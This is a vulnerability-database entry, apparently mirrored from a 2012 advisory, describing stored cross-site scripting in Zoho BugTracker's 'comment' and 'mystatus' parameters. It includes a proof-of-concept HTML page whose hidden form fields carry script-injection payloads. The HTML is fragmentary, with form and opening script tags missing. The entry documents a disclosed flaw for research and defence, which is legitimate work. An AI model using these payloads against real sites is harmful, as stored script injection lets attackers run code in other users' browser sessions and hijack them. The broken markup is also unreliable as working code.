发布 2012-08-07 漏洞条目

Zoho BugTracker – Multiple Persistent Cross-Site Scripting Vulnerabilities

Exploit Source

<!--

Zoho BugTracker Multiple Stored XSS Vulnerabilities

Vendor: Zoho Corporation Pvt. Ltd

Product web page: http://www.zoho.com

Affected version: N/A

Summary: Zoho Bug Tracker is an online bug tracking software that

combines a clean and an intuitive interface to submit and track bugs

with custom workflows, business rules, custom fields and filters for

the bugs that software projects are bound to generate and fix all bugs

fast.

Desc: The Bug Tracking Software suffers from a stored XSS vulnerability

when parsing user input to the 'comment' and 'mystatus' parameters via

POST method thru 'bugdetails.do' and 'addmystatus.do' scripts. Attackers

can exploit these weaknesses to execute arbitrary HTML and script code

in a user's browser session.

Tested on: Microsoft Windows XP Professional SP3 (EN)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2012-5096

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5096.php

06.08.2012

-->

<html>

<title>Zoho BugTracker Multiple Stored XSS Vulnerabilities</title>

function xss1(){document.forms["xss1"].submit();}

function xss2(){document.forms["xss2"].submit();}

</script>

<input type="hidden" name="comment" value='"><script>alert(1);</script>' />

</form>

<input type="hidden" name="mystatus" value='"><script>alert(2);</script>' />

</form><center>

</center></body>

</html>

相关漏洞条目